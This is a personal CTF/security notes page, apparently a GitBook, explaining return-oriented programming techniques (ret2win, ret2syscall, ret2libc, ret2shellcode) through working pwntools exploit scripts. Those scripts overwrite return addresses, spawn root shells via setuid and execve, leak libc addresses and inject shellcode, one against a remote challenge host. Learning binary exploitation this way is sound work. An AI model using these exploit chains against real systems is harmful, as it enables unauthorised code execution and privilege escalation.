📃
Writeups
Blog
  • â„šī¸whoami
  • 👩‍đŸ’ģBinary Exploitation
    • Basic Binary Protections
    • ROP
    • Format String Bug
    • Stack Pivoting
    • Partial Overwrite
    • Symbolic Execution
    • Heap
      • Heap Basics
      • Heap Overflow
      • Heap Grooming
      • Use After Free / Double Free
      • Fast Bin Attack
      • One By Off Overwrite
      • House of Force
  • 🎮HackTheBox
    • Challenges
      • Baby Website Rick
      • Space pirate: Entrypoint
    • Boxes
      • Analysis
      • DevOops
      • Celestial
      • Rebound
      • CozyHosting
      • Authority
  • 📄CTF Writeups
    • CTF Writeups
      • USCTF 2024
        • Spooky Query Leaks
      • HackTheVote
        • Comma-Club (Revenge)
      • HeroCTF 2024
        • Heappie
      • Buckeye 2024
        • No-Handouts
      • TetCTF 2024
        • TET & 4N6
      • PatriotCTF 2023
        • ML Pyjail
        • Breakfast Club
    • Authored Challenges
      • Team Rocket
Powered by GitBook
On this page
  • Ret2Win
  • Ret2SysCall
  • Ret2Libc
  • Ret2ShellCode
  1. Binary Exploitation

ROP

Ret2Win

Really bad summary

  1. Get offset to override EIP

    1. Can be easily done with pwn.cyclic

  2. Get address of win function

    1. Depends whether ASLR is enabled, or else symbols from pwntools can do the trick

  3. Get a gadget via ROPgadget (usually ret)

    1. ROPgadget --binary x | grep ret

  4. Construct payload

    1. X amount of 'A's to override EIP

    2. addr_of_gadget (ret)

    3. addr_of_win

  5. send and win

Sample Code

from pwn import *

offset = 32 

binary = ELF("./EEEEEEEEEELMAOOOOOOOOOOOOO")
p  = binary.process()
win_addr = binary.symbols['win']
ret_addr = 0x000000000040101a

payload = b'A' * offset
payload += p64(ret_addr)
payload += p64(win_addr)

p.sendline(payload)
output = p.recvall()
print(output)

ROP chain with arguments

from pwn import * 

offset = 120
bin = ELF('/ESSSSSSADDDDDDDDDDDDDDDDD')


pop_rdi_ret = 0x0000000000402a93
win_addr_1 = bin.symbols['win_stage_1']
win_addr_2 = bin.symbols['win_stage_2']
win_addr_3 = bin.symbols['win_stage_3']
win_addr_4 = bin.symbols['win_stage_4']
win_addr_5 = bin.symbols['win_stage_5']


payload = b"A" * offset
payload += p64(pop_rdi_ret) + p64(1) + p64(win_addr_1)
payload += p64(pop_rdi_ret) + p64(2) + p64(win_addr_2)
payload += p64(pop_rdi_ret) + p64(3) + p64(win_addr_3)
payload += p64(pop_rdi_ret) + p64(4) + p64(win_addr_4)
payload += p64(pop_rdi_ret) + p64(5) + p64(win_addr_5)

p = bin.process()
p.sendline(payload)
p.interactive()

Visual Representation of the stack

Stack Layout After Payload:
---------------------------
+-----------------+
| ...             | <- Padding ("A" * offset)
|                 |
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (1)    |
| Function Address| <- win_addr_1
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (2)    |
| Function Address| <- win_addr_2
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (3)    |
| Function Address| <- win_addr_3
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (4)    |
| Function Address| <- win_addr_4
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (5)    |
| Function Address| <- win_addr_5
+-----------------+

Ret2SysCall

Syscall Strings

  • x86 (int 0x80)

  • x86_64 (syscall)

Example : Calling execve with the use of syscalls to obtain a shell

For x64

  1. Get ROP gadgets and their addresses

    1. E.g ROPgadget --binary aasdasd | grep "pop rax; ret"

  2. Setting the registers to the appropriate value

    execve

    0x3b

    /bin/sh

    0

    0

  3. Crafting the exploit

from pwn import *

offset =  80
bin = ELF('/challenge/babyrop_level4.0')

p = bin.process()
stack_leak = p.recvline_startswith(b'[LEAK] Your input buffer is located at:')

payload = b'/bin/sh\x00'  
payload += b"A" * offset
print(stack_leak)
#My addresses
pop_rax = 0x0000000000401fad
pop_rdi = 0x0000000000401fd5
bin_sh = stack_leak.split()[-1][:-1].decode()
bin_sh = int(bin_sh, 16)
pop_rsi = 0x0000000000401fcd
pop_rdx = 0x0000000000401fa5
syscall = 0x0000000000401fb5
ret = 0x000000000040101a
#setuid(0) - So that I can run the binary as root
payload += p64(pop_rax) + p64(0x69) 
payload += p64(pop_rdi) +p64(0)
payload += p64(syscall) 
#execve('/bin/sh',0,0)
payload += p64(pop_rax) + p64(0x3b) 
payload += p64(pop_rdi) +p64(bin_sh)
payload += p64(pop_rsi) + p64(0) 
payload += p64(pop_rdx) + p64(0) 
payload += p64(syscall) 

p.sendline(payload)
p.interactive()

Alternatively, if /bin/sh is not on the binary, we can use other functions such as read() and gets() to write to .bss

#Syscall to READ first
payload += p64(pop_rax) + p64(0x00) 
payload += p64(pop_rdi) +p64(0x00)
#addr of bss via elf.bss()
payload += p64(pop_rsi) + p64(addr_bss) 
payload += p64(pop_rdx) + p64(0x8) 
payload += p64(syscall) 
#Rest of the normal syscall payload
p.sendline(payload)
#Sending /bin/sh string to stdin
p.sendline(b'/bin/sh\x00')

Ret2Libc

#!/usr/bin/env python3
from pwn import *

exe = ELF("./pet_companion_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
# p = process('./pet_companion_patched')
p = remote('94.237.58.155',32207)
# gdb.attach(p)
offset = 72 
POP_RSI = 0x400741
POP_RDI = 0x400743
write_plt = exe.sym["write"]
main = exe.sym["main"]
write_got = exe.got["write"]

payload = b"A" * offset 
payload += p64(POP_RSI)
payload += p64(write_got)
payload += p64(0x0)
payload += p64(write_plt)
#Returning to main
payload += p64(main)

p.recvuntil(b"status:")
p.clean()
p.sendline(payload)
p.recvuntil(b'Configuring...\n\n')
write_leak = u64(p.read(8))
write_offset = libc.sym["write"]
#using write to leak libc address
libc.address = write_leak - write_offset

bin_sh = next(libc.search(b"/bin/sh")) 
system = libc.symbols['system'] # getting system() in libc addr

second_payload = b'A' * offset
#Might need to use other ROP gadgets to clear registers for certain function calls 
second_payload += p64(POP_RDI)
second_payload += p64(bin_sh)
second_payload += p64(system)
p.recvuntil(b"status:")
p.clean()
p.sendline(second_payload)
p.interactive()
 

Ret2ShellCode

from pwn import *

offset = 40 
target = process('./pilot')
file = ELF('./pilot')
context.binary = ELF('./pilot')

target.recvuntil("[*]Location:")
leak = int(target.recvline()[:-1],16) #Leak of the address that is being written to 
shellcode = asm(shellcraft.sh()) #crafting my shellcode, must be below 40 bytes
print(len(shellcode))
# shellcode = b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05" 
nop_slide = asm('nop') * (offset - len(shellcode)) #nop slide to go to my shellcode
payload = b""
payload += shellcode
payload += b'A' * (offset - len(shellcode)) #serves the same purpose of my shellcode
payload += p64(leak) #goes to the address of the leak thus executing my shell code
target.send(payload)
target.interactive()
  • Length of shellcode must be below the offset to override EIP/RIP (40 in this case)

PreviousBasic Binary ProtectionsNextFormat String Bug

Last updated 11 months ago

based on this

Extracted from

NOP/padding slide is used to ensure that the the execution is smooth

👩‍đŸ’ģ
article
here